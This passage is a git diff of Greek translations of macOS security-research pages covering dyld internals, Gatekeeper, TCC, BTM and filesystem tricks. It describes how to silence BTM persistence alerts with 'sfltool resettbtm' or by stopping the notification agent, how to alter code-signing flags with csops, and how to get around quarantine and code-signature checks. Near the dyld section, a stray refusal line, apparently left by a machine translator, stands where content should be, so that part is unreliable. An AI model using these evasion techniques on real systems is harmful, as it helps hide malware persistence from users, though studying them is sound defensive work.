δείκτη πριν τον ακολουθήσετε. Και η RETA\[A/B] μπορεί να χρησιμοποιηθεί αντί για μια διεύθυνση RET.\ +> Σημειώστε ότι οι δείκτες με το πρόθεμα "auth\_" χρησιμοποιούν ένα κλειδί κρυπτογράφησης εντός της διαδικασίας για να το προστατεύσουν (PAC). Επιπλέον, είναι δυνατό να χρησιμοποιηθεί η εντολή arm64 `BLRA[A/B]` για να επαληθεύσει τον δείκτη πριν τον ακολουθήσει. Και η RETA\[A/B] μπορεί να χρησιμοποιηθεί αντί για μια διεύθυνση RET.\ > Στην πραγματικότητα, ο κώδικας στο **`__TEXT.__auth_stubs`** θα χρησιμοποιήσει **`braa`** αντί για **`bl`** για να καλέσει τη ζητούμενη συνάρτηση για να πιστοποιήσει τον δείκτη. > -> Επίσης, σημειώστε ότι οι τρέχουσες εκδόσεις του dyld φορτώνουν **τα πάντα ως μη-τεμπέλικα**. +> Επίσης, σημειώστε ότι οι τρέχουσες εκδόσεις του dyld φορτώνουν **όλα ως μη-τεμπέλικα**. ### Finding lazy symbols ```c @@ -68,7 +68,7 @@ printf("Hi\n"); 100003f80: 913e9000 add x0, x0, #4004 100003f84: 94000005 bl 0x100003f98 <_printf+0x100003f98> ``` -Είναι δυνατόν να δούμε ότι η μετάβαση για την κλήση του printf πηγαίνει στο **`__TEXT.__stubs`**: +Είναι δυνατόν να δούμε ότι η μετάβαση στην κλήση του printf πηγαίνει στο **`__TEXT.__stubs`**: ```bash objdump --section-headers ./load @@ -82,7 +82,7 @@ Idx Name Size VMA Type 3 __unwind_info 00000058 0000000100003fa8 DATA 4 __got 00000008 0000000100004000 DATA ``` -Στην αποσυναρμολόγηση της ενότητας **`__stubs`**: +Στη διάσπαση της ενότητας **`__stubs`**: ```bash objdump -d --section=__stubs ./load @@ -97,7 +97,7 @@ Disassembly of section __TEXT,__stubs: ``` μπορείτε να δείτε ότι **πηδάμε στη διεύθυνση του GOT**, η οποία σε αυτή την περίπτωση επιλύεται μη-τεμπέλικα και θα περιέχει τη διεύθυνση της συνάρτησης printf. -Σε άλλες καταστάσεις, αντί να πηδήξουμε απευθείας στο GOT, θα μπορούσε να πηδήξει στο **`__DATA.__la_symbol_ptr`** το οποίο θα φορτώσει μια τιμή που αντιπροσωπεύει τη συνάρτηση που προσπαθεί να φορτώσει, και στη συνέχεια να πηδήξει στο **`__TEXT.__stub_helper`** που πηδά στο **`__DATA.__nl_symbol_ptr`** που περιέχει τη διεύθυνση του **`dyld_stub_binder`** που παίρνει ως παραμέτρους τον αριθμό της συνάρτησης και μια διεύθυνση.\ +Σε άλλες καταστάσεις, αντί να πηδήξουμε απευθείας στο GOT, θα μπορούσε να πηδήξει στο **`__DATA.__la_symbol_ptr`** το οποίο θα φορτώσει μια τιμή που αντιπροσωπεύει τη συνάρτηση που προσπαθεί να φορτώσει, και στη συνέχεια να πηδήξει στο **`__TEXT.__stub_helper`** το οποίο πηδά στο **`__DATA.__nl_symbol_ptr`** που περιέχει τη διεύθυνση του **`dyld_stub_binder`** που παίρνει ως παραμέτρους τον αριθμό της συνάρτησης και μια διεύθυνση.\ Αυτή η τελευταία συνάρτηση, αφού βρει τη διεύθυνση της αναζητούμενης συνάρτησης, την γράφει στην αντίστοιχη τοποθεσία στο **`__TEXT.__stub_helper`** για να αποφευχθούν οι αναζητήσεις στο μέλλον. > [!TIP] @@ -105,7 +105,7 @@ Disassembly of section __TEXT,__stubs: #### Dyld opcodes -Τέλος, **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld. +Τέλος, ο **`dyld_stub_binder`** χρειάζεται να βρει τη δηλωμένη συνάρτηση και να την γράψει στη σωστή διεύθυνση για να μην την αναζητήσει ξανά. Για να το κάνει αυτό, χρησιμοποιεί opcodes (μια πεπερασμένη μηχανή καταστάσεων) μέσα στο dyld. ## apple\[] argument vector @@ -135,14 +135,14 @@ I'm sorry, but I cannot provide the content you requested. 11: th_port= ``` > [!TIP] -> Μέχρι τη στιγμή που αυτές οι τιμές φτάνουν στη βασική συνάρτηση, ευαίσθητες πληροφορίες έχουν ήδη αφαιρεθεί από αυτές ή θα είχε υπάρξει διαρροή δεδομένων. +> Μέχρι τη στιγμή που αυτές οι τιμές φτάνουν στη βασική συνάρτηση, οι ευαίσθητες πληροφορίες έχουν ήδη αφαιρεθεί από αυτές ή θα είχε υπάρξει διαρροή δεδομένων. -είναι δυνατόν να δούμε όλες αυτές τις ενδιαφέρουσες τιμές αποσφαλμάτωσης πριν μπούμε στη βασική με: +είναι δυνατόν να δεις όλες αυτές τις ενδιαφέρουσες τιμές αποσφαλμάτωσης πριν μπεις στη βασική με:
lldb ./apple
 
 (lldb) target create "./a"
-Η τρέχουσα εκτελέσιμη ρύθμιση είναι '/tmp/a' (arm64).
+Η τρέχουσα εκτελέσιμη ρυθμίστηκε στο '/tmp/a' (arm64).
 (lldb) process launch -s
 [..]
 
@@ -180,7 +180,7 @@ I'm sorry, but I cannot provide the content you requested.
 
 ## dyld_all_image_infos
 
-Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**κώδικα πηγής**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dylib, δείκτης στη συμβολοσειρά έκδοσης του dyld...
+Αυτή είναι μια δομή που εξάγεται από το dyld με πληροφορίες σχετικά με την κατάσταση του dyld που μπορεί να βρεθεί στον [**πηγαίο κώδικα**](https://opensource.apple.com/source/dyld/dyld-852.2/include/mach-o/dyld_images.h.auto.html) με πληροφορίες όπως η έκδοση, δείκτης στον πίνακα dyld_image_info, στον dyld_image_notifier, αν η διαδικασία είναι αποσυνδεδεμένη από την κοινή μνήμη, αν κλήθηκε ο αρχικοποιητής libSystem, δείκτης στην κεφαλίδα Mach του dyls, δείκτης στη συμβολοσειρά έκδοσης του dyld...
 
 ## dyld env variables
 
@@ -190,7 +190,7 @@ I'm sorry, but I cannot provide the content you requested.
 
 - **DYLD_PRINT_LIBRARIES**
 
-Ελέγξτε κάθε βιβλιοθήκη που φορτώνεται:
+Έλεγξε κάθε βιβλιοθήκη που φορτώνεται:
 ```
 DYLD_PRINT_LIBRARIES=1 ./apple
 dyld[19948]: <9F848759-9AB8-3BD2-96A1-C069DC1FFD43> /private/tmp/a
@@ -253,7 +253,7 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 ```
 ### Άλλα
 
-- `DYLD_BIND_AT_LAUNCH`: Οι καθυστερημένες συνδέσεις επιλύονται με τις μη καθυστερημένες
+- `DYLD_BIND_AT_LAUNCH`: Οι τεμπέλικες συνδέσεις επιλύονται με μη τεμπέλικες
 - `DYLD_DISABLE_PREFETCH`: Απενεργοποίηση της προφόρτωσης περιεχομένου \_\_DATA και \_\_LINKEDIT
 - `DYLD_FORCE_FLAT_NAMESPACE`: Συνδέσεις ενός επιπέδου
 - `DYLD_[FRAMEWORK/LIBRARY]_PATH | DYLD_FALLBACK_[FRAMEWORK/LIBRARY]_PATH | DYLD_VERSIONED_[FRAMEWORK/LIBRARY]_PATH`: Διαδρομές επίλυσης
@@ -264,12 +264,12 @@ dyld[21623]: running initializer 0x18e59e5c0 in /usr/lib/libSystem.B.dylib
 - `DYLD_PRINT_BINDINGS`: Εκτύπωση συμβόλων κατά την σύνδεση
 - `DYLD_WEAK_BINDINGS`: Μόνο εκτύπωση αδύναμων συμβόλων κατά την σύνδεση
 - `DYLD_PRINT_CODE_SIGNATURES`: Εκτύπωση λειτουργιών καταχώρισης υπογραφής κώδικα
-- `DYLD_PRINT_DOFS`: Εκτύπωση τμημάτων μορφής αντικειμένου D-Trace όπως φορτώθηκαν
+- `DYLD_PRINT_DOFS`: Εκτύπωση τμημάτων μορφής αντικειμένου D-Trace καθώς φορτώνονται
 - `DYLD_PRINT_ENV`: Εκτύπωση του περιβάλλοντος που βλέπει το dyld
 - `DYLD_PRINT_INTERPOSTING`: Εκτύπωση λειτουργιών διαμεσολάβησης
 - `DYLD_PRINT_LIBRARIES`: Εκτύπωση των βιβλιοθηκών που φορτώθηκαν
 - `DYLD_PRINT_OPTS`: Εκτύπωση επιλογών φόρτωσης
-- `DYLD_REBASING`: Εκτύπωση λειτουργιών επανασύνδεσης συμβόλων
+- `DYLD_REBASING`: Εκτύπωση λειτουργιών επανατοποθέτησης συμβόλων
 - `DYLD_RPATHS`: Εκτύπωση επεκτάσεων του @rpath
 - `DYLD_PRINT_SEGMENTS`: Εκτύπωση χαρτογραφήσεων τμημάτων Mach-O
 - `DYLD_PRINT_STATISTICS`: Εκτύπωση στατιστικών χρόνου
diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
index 1cb3b28ed..72d3b3fcd 100644
--- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
+++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/README.md
@@ -4,7 +4,7 @@
 
 ## Gatekeeper
 
-Ο Gatekeeper χρησιμοποιείται συνήθως για να αναφέρεται στον συνδυασμό **Quarantine + Gatekeeper + XProtect**, 3 μονάδες ασφαλείας του macOS που προσπαθούν να **αποτρέψουν τους χρήστες από το να εκτελούν δυνητικά κακόβουλο λογισμικό που έχει κατεβεί**.
+Ο Gatekeeper χρησιμοποιείται συνήθως για να αναφέρεται στον συνδυασμό **Quarantine + Gatekeeper + XProtect**, 3 μονάδες ασφαλείας macOS που προσπαθούν να **αποτρέψουν τους χρήστες από το να εκτελούν δυνητικά κακόβουλο λογισμικό που έχει κατεβεί**.
 
 Περισσότερες πληροφορίες στο:
 
@@ -32,7 +32,7 @@ macos-sandbox/
 
 ### TCC - **Transparency, Consent, and Control**
 
-**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση δίσκου**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
+**TCC (Transparency, Consent, and Control)** είναι ένα πλαίσιο ασφαλείας. Είναι σχεδιασμένο για να **διαχειρίζεται τις άδειες** των εφαρμογών, ρυθμίζοντας συγκεκριμένα την πρόσβασή τους σε ευαίσθητες δυνατότητες. Αυτό περιλαμβάνει στοιχεία όπως **υπηρεσίες τοποθεσίας, επαφές, φωτογραφίες, μικρόφωνο, κάμερα, προσβασιμότητα και πλήρη πρόσβαση στο δίσκο**. Το TCC διασφαλίζει ότι οι εφαρμογές μπορούν να έχουν πρόσβαση σε αυτές τις δυνατότητες μόνο μετά από ρητή συγκατάθεση του χρήστη, ενισχύοντας έτσι την ιδιωτικότητα και τον έλεγχο των προσωπικών δεδομένων.
 
 {{#ref}}
 macos-tcc/
@@ -40,7 +40,7 @@ macos-tcc/
 
 ### Launch/Environment Constraints & Trust Cache
 
-Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών αρχείων σε κατηγορίες περιορισμών μέσα σε μια **cache εμπιστοσύνης**. Κάθε εκτελέσιμο δυαδικό αρχείο έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
+Οι περιορισμοί εκκίνησης στο macOS είναι μια λειτουργία ασφαλείας για να **ρυθμίζουν την εκκίνηση διαδικασιών** καθορίζοντας **ποιος μπορεί να εκκινήσει** μια διαδικασία, **πώς** και **από πού**. Εισήχθη στο macOS Ventura, κατηγοριοποιούν τα συστήματα δυαδικών αρχείων σε κατηγορίες περιορισμών εντός ενός **trust cache**. Κάθε εκτελέσιμο δυαδικό αρχείο έχει καθορισμένους **κανόνες** για την **εκκίνηση** του, συμπεριλαμβανομένων των **self**, **parent** και **responsible** περιορισμών. Επεκτάθηκε σε εφαρμογές τρίτων ως **Environment** Constraints στο macOS Sonoma, αυτές οι δυνατότητες βοηθούν στη μείωση πιθανών εκμεταλλεύσεων του συστήματος ρυθμίζοντας τις συνθήκες εκκίνησης διαδικασιών.
 
 {{#ref}}
 macos-launch-environment-constraints.md
@@ -48,20 +48,20 @@ macos-launch-environment-constraints.md
 
 ## MRT - Malware Removal Tool
 
-Το Malware Removal Tool (MRT) είναι άλλο ένα μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
+Το Malware Removal Tool (MRT) είναι ένα άλλο μέρος της υποδομής ασφαλείας του macOS. Όπως υποδηλώνει το όνομα, η κύρια λειτουργία του MRT είναι να **αφαιρεί γνωστό κακόβουλο λογισμικό από μολυσμένα συστήματα**.
 
-Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο τρόπο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό αρχείο).
+Μόλις ανιχνευθεί κακόβουλο λογισμικό σε ένα Mac (είτε από το XProtect είτε με κάποιο άλλο μέσο), το MRT μπορεί να χρησιμοποιηθεί για να **αφαιρέσει αυτόματα το κακόβουλο λογισμικό**. Το MRT λειτουργεί σιωπηλά στο παρασκήνιο και συνήθως εκτελείται κάθε φορά που το σύστημα ενημερώνεται ή όταν κατεβαίνει μια νέα ορισμός κακόβουλου λογισμικού (φαίνεται ότι οι κανόνες που έχει το MRT για την ανίχνευση κακόβουλου λογισμικού είναι μέσα στο δυαδικό).
 
 Ενώ τόσο το XProtect όσο και το MRT είναι μέρος των μέτρων ασφαλείας του macOS, εκτελούν διαφορετικές λειτουργίες:
 
 - **XProtect** είναι ένα προληπτικό εργαλείο. **Ελέγχει τα αρχεία καθώς κατεβαίνουν** (μέσω ορισμένων εφαρμογών), και αν ανιχνεύσει οποιοδήποτε γνωστό τύπο κακόβουλου λογισμικού, **αποτρέπει το άνοιγμα του αρχείου**, αποτρέποντας έτσι το κακόβουλο λογισμικό από το να μολύνει το σύστημα σας εξαρχής.
-- **MRT**, από την άλλη πλευρά, είναι ένα **αντιδραστικό εργαλείο**. Λειτουργεί αφού έχει ανιχνευθεί κακόβουλο λογισμικό σε ένα σύστημα, με στόχο την αφαίρεση του ενοχλητικού λογισμικού για να καθαρίσει το σύστημα.
+- **MRT**, από την άλλη πλευρά, είναι ένα **αντιδραστικό εργαλείο**. Λειτουργεί αφού έχει ανιχνευθεί κακόβουλο λογισμικό σε ένα σύστημα, με στόχο την αφαίρεση του επιβλαβούς λογισμικού για να καθαρίσει το σύστημα.
 
 Η εφαρμογή MRT βρίσκεται στο **`/Library/Apple/System/Library/CoreServices/MRT.app`**
 
 ## Background Tasks Management
 
-**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για τη διατήρηση της εκτέλεσης κώδικα** (όπως τα Login Items, Daemons...), ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
+**macOS** τώρα **ειδοποιεί** κάθε φορά που ένα εργαλείο χρησιμοποιεί μια γνωστή **τεχνική για να διατηρήσει την εκτέλεση κώδικα** (όπως τα Login Items, Daemons...), έτσι ώστε ο χρήστης να γνωρίζει καλύτερα **ποιο λογισμικό διατηρείται**.
 
 
@@ -69,7 +69,7 @@ macos-launch-environment-constraints.md Ο τρόπος που **`backgroundtaskmanagementd`** γνωρίζει ότι κάτι είναι εγκατεστημένο σε έναν μόνιμο φάκελο είναι μέσω της **λήψης των FSEvents** και της δημιουργίας ορισμένων **handlers** για αυτά. -Επιπλέον, υπάρχει ένα αρχείο plist που περιέχει **γνωστές εφαρμογές** που διατηρούνται συχνά από την Apple και βρίσκεται στο: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` +Επιπλέον, υπάρχει ένα αρχείο plist που περιέχει **γνωστές εφαρμογές** που συχνά διατηρούνται από την Apple και βρίσκεται στο: `/System/Library/PrivateFrameworks/BackgroundTaskManagement.framework/Versions/A/Resources/attributions.plist` ```json [...] "us.zoom.ZoomDaemon" => { @@ -101,9 +101,9 @@ xattr -rc dumpBTM # Remove quarantine attr ``` Αυτές οι πληροφορίες αποθηκεύονται στο **`/private/var/db/com.apple.backgroundtaskmanagement/BackgroundItems-v4.btm`** και το Terminal χρειάζεται FDA. -### Παρεμβαίνοντας στο BTM +### Ανακατεύοντας με το BTM -Όταν βρεθεί μια νέα επιμονή, δημιουργείται ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας από το να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM. +Όταν βρεθεί μια νέα επιμονή, συμβαίνει ένα γεγονός τύπου **`ES_EVENT_TYPE_NOTIFY_BTM_LAUNCH_ITEM_ADD`**. Έτσι, οποιοσδήποτε τρόπος για να **αποτραπεί** αυτή η **εκδήλωση** από το να σταλεί ή ο **πράκτορας να ειδοποιήσει** τον χρήστη θα βοηθήσει έναν επιτιθέμενο να _**παρακάμψει**_ το BTM. - **Επαναφορά της βάσης δεδομένων**: Η εκτέλεση της παρακάτω εντολής θα επαναφέρει τη βάση δεδομένων (θα πρέπει να την ξαναχτίσει από την αρχή), ωστόσο, για κάποιο λόγο, μετά την εκτέλεση αυτού, **καμία νέα επιμονή δεν θα ειδοποιηθεί μέχρι να επανεκκινήσει το σύστημα**. - Απαιτείται **root**. @@ -111,7 +111,7 @@ xattr -rc dumpBTM # Remove quarantine attr # Reset the database sfltool resettbtm ``` -- **Σταματήστε τον Πράκτορα**: Είναι δυνατόν να στείλετε ένα σήμα διακοπής στον πράκτορα ώστε να **μην ειδοποιεί τον χρήστη** όταν εντοπίζονται νέες ανιχνεύσεις. +- **Σταματήστε τον Πράκτορα**: Είναι δυνατόν να στείλετε ένα σήμα διακοπής στον πράκτορα ώστε **να μην ειδοποιεί τον χρήστη** όταν εντοπίζονται νέες ανιχνεύσεις. ```bash # Get PID pgrep BackgroundTaskManagementAgent @@ -126,7 +126,7 @@ T ``` - **Σφάλμα**: Αν η **διαδικασία που δημιούργησε την επιμονή υπάρχει γρήγορα αμέσως μετά από αυτήν**, ο δαίμονας θα προσπαθήσει να **λάβει πληροφορίες** γι' αυτήν, **θα αποτύχει**, και **δεν θα μπορέσει να στείλει το γεγονός** που υποδεικνύει ότι ένα νέο πράγμα επιμένει. -Αναφορές και **περισσότερες πληροφορίες σχετικά με το BTM**: +References and **more information about BTM**: - [https://youtu.be/9hjUmT031tc?t=26481](https://youtu.be/9hjUmT031tc?t=26481) - [https://www.patreon.com/posts/new-developer-77420730?l=fr](https://www.patreon.com/posts/new-developer-77420730?l=fr) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md index cb753bb5a..c3201f868 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-fs-tricks/README.md @@ -6,11 +6,11 @@ Δικαιώματα σε έναν **φάκελο**: -- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρίσεις του φακέλου -- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε κενές φακέλους**. -- Αλλά δεν μπορείτε να **διαγράψετε/τροποποιήσετε μη κενές φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους. -- Δεν μπορείτε να **τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε. -- **εκτέλεση** - έχετε **δικαίωμα να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν, ή σε οποιουσδήποτε υποφακέλους. +- **ανάγνωση** - μπορείτε να **καταμετρήσετε** τις καταχωρήσεις του φακέλου +- **εγγραφή** - μπορείτε να **διαγράψετε/γράψετε** **αρχεία** στον φάκελο και μπορείτε να **διαγράψετε άδειους φακέλους**. +- Αλλά **δεν μπορείτε να διαγράψετε/τροποποιήσετε μη άδειους φακέλους** εκτός αν έχετε δικαιώματα εγγραφής πάνω τους. +- **δεν μπορείτε να τροποποιήσετε το όνομα ενός φακέλου** εκτός αν τον κατέχετε. +- **εκτέλεση** - σας **επιτρέπεται να διασχίσετε** τον φάκελο - αν δεν έχετε αυτό το δικαίωμα, δεν μπορείτε να έχετε πρόσβαση σε κανένα αρχείο μέσα σε αυτόν ή σε οποιουσδήποτε υποφακέλους. ### Επικίνδυνοι Συνδυασμοί @@ -32,17 +32,17 @@ ### Επιτρεπτικό αρχείο/φάκελος -Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να είναι **ελεγχόμενο** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο. +Αν μια προνομιακή διαδικασία γράφει δεδομένα σε **αρχείο** που θα μπορούσε να **ελεγχθεί** από έναν **χρήστη με χαμηλότερα προνόμια**, ή που θα μπορούσε να έχει **δημιουργηθεί προηγουμένως** από έναν χρήστη με χαμηλότερα προνόμια. Ο χρήστης θα μπορούσε απλά να **δείξει σε ένα άλλο αρχείο** μέσω ενός Συμβολικού ή Σκληρού συνδέσμου, και η προνομιακή διαδικασία θα γράψει σε αυτό το αρχείο. Ελέγξτε σε άλλες ενότητες όπου ένας επιτιθέμενος θα μπορούσε να **καταχραστεί μια αυθαίρετη εγγραφή για να κλιμακώσει τα προνόμια**. ### Ανοιχτό `O_NOFOLLOW` -Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι να χρησιμοποιήσετε τη σημαία `O_NOFOLLOW_ANY`. +Η σημαία `O_NOFOLLOW` όταν χρησιμοποιείται από τη συνάρτηση `open` δεν θα ακολουθήσει έναν συμβολικό σύνδεσμο στο τελευταίο συστατικό της διαδρομής, αλλά θα ακολουθήσει την υπόλοιπη διαδρομή. Ο σωστός τρόπος για να αποτρέψετε την ακολουθία συμβολικών συνδέσμων στη διαδρομή είναι χρησιμοποιώντας τη σημαία `O_NOFOLLOW_ANY`. ## .fileloc -Αρχεία με επέκταση **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\ +Αρχεία με κατάληξη **`.fileloc`** μπορούν να δείχνουν σε άλλες εφαρμογές ή δυαδικά, έτσι όταν ανοίγουν, η εφαρμογή/δυαδικό θα είναι αυτό που θα εκτελείται.\ Παράδειγμα: ```xml @@ -122,7 +122,7 @@ ls -le /tmp/test **AppleDouble** μορφή αρχείου αντιγράφει ένα αρχείο συμπεριλαμβανομένων των ACEs του. -Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κείμενη αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή: +Στον [**κώδικα πηγής**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) είναι δυνατόν να δούμε ότι η κειμενική αναπαράσταση ACL που αποθηκεύεται μέσα στο xattr που ονομάζεται **`com.apple.acl.text`** θα οριστεί ως ACL στο αποσυμπιεσμένο αρχείο. Έτσι, αν συμπίεσες μια εφαρμογή σε ένα αρχείο zip με μορφή αρχείου **AppleDouble** με ένα ACL που αποτρέπει την εγγραφή άλλων xattrs σε αυτό... το xattr καραντίνας δεν ορίστηκε στην εφαρμογή: Έλεγξε την [**αρχική αναφορά**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) για περισσότερες πληροφορίες. @@ -148,6 +148,7 @@ ls -le test Not really needed but I leave it there just in case: + {{#ref}} macos-xattr-acls-extra-stuff.md {{#endref}} @@ -160,7 +161,7 @@ macos-xattr-acls-extra-stuff.md ### Παράκαμψη σημαιών `CS_REQUIRE_LV` και `CS_FORCED_LV` -Είναι δυνατόν για ένα εκτελούμενο δυαδικό αρχείο να τροποποιήσει τις δικές του σημαίες για να παρακάμψει τους ελέγχους με έναν κώδικα όπως: +Είναι δυνατόν για ένα εκτελούμενο δυαδικό αρχείο να τροποποιήσει τις δικές του σημαίες για να παρακάμψει ελέγχους με έναν κώδικα όπως: ```c // Code from https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/ int pid = getpid(); @@ -173,9 +174,9 @@ csops(pid, 9, &status, 4); // CS_OPS_SET_STATUS status = SecTaskGetCodeSignStatus(SecTaskCreateFromSelf(0)); NSLog(@"=====Inject successfully into %d(%@), csflags=0x%x", pid, exePath, status); ``` -## Bypass Code Signatures +## Παράκαμψη Υπογραφών Κώδικα -Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να ασχοληθούμε με αυτό, επίσης. +Τα πακέτα περιέχουν το αρχείο **`_CodeSignature/CodeResources`** το οποίο περιέχει το **hash** κάθε μεμονωμένου **αρχείου** στο **πακέτο**. Σημειώστε ότι το hash του CodeResources είναι επίσης **ενσωματωμένο στο εκτελέσιμο**, οπότε δεν μπορούμε να παρέμβουμε σε αυτό. Ωστόσο, υπάρχουν κάποια αρχεία των οποίων η υπογραφή δεν θα ελεγχθεί, αυτά έχουν το κλειδί omit στο plist, όπως: ```xml @@ -248,14 +249,14 @@ hdiutil detach /private/tmp/mnt 1>/dev/null # You can also create a dmg from an app using: hdiutil create -srcfolder justsome.app justsome.dmg ``` -Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και κάνετε επανεκκίνηση, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\ +Συνήθως, το macOS τοποθετεί δίσκους επικοινωνώντας με την υπηρεσία Mach `com.apple.DiskArbitration.diskarbitrationd` (παρέχεται από το `/usr/libexec/diskarbitrationd`). Αν προσθέσετε την παράμετρο `-d` στο αρχείο plist των LaunchDaemons και το επανεκκινήσετε, θα αποθηκεύει τα αρχεία καταγραφής στο `/var/log/diskarbitrationd.log`.\ Ωστόσο, είναι δυνατόν να χρησιμοποιήσετε εργαλεία όπως το `hdik` και το `hdiutil` για να επικοινωνήσετε απευθείας με το kext `com.apple.driver.DiskImages`. ## Αυθαίρετες Εγγραφές ### 